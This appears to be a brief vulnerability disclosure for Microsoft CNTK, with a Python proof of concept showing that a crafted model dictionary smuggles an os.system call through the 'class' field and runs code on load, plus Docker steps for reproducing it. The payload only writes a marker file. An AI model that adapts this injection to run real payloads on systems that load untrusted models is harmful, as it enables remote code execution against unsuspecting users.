Code injection in Microsoft CNTK model loading. Crafted model files execute
arbitrary Python code when Function.load() is called. No opt-in required.
1from cntk.internal import _UDFDeserializeCallbackWrapper
2import cntk
3
4wrapper = _UDFDeserializeCallbackWrapper()
5dummy = cntk.input_variable(shape=(1,))
6
7# Malicious dictionary (what a crafted .model file would contain)
8malicious_dict = {
9 'class': 'path\n__import__("os").system("echo CNTK_RCE > /tmp/pwned")',
10 'module': 'os',
11 'state': {},
12 'op_name': 'test_op',
13 'version': 1
14}
15
16wrapper([dummy], "test", malicious_dict)
17# -> RCE success: True
18# -> /tmp/pwned contains: CNTK_RCE
19
Requires CNTK 2.7 environment (Python 3.6, Ubuntu 16.04/18.04 with OpenMPI).
1# In Docker:
2docker run --rm -v $(pwd):/tmp ubuntu:18.04 bash -c '
3 apt-get update && apt-get install -y python3.6 python3-pip libopenmpi-dev
4 ln -s /usr/lib/x86_64-linux-gnu/libmpi_cxx.so.20 /usr/lib/x86_64-linux-gnu/libmpi_cxx.so.1
5 ln -s /usr/lib/x86_64-linux-gnu/libmpi.so.20 /usr/lib/x86_64-linux-gnu/libmpi.so.12
6 pip3 install cntk
7 python3 /tmp/exploit.py
8'
Arbitrary Python code execution triggered automatically on model load.
Affects all CNTK versions since v2.0. CNTK archived since 2023 -- no fix
expected upstream.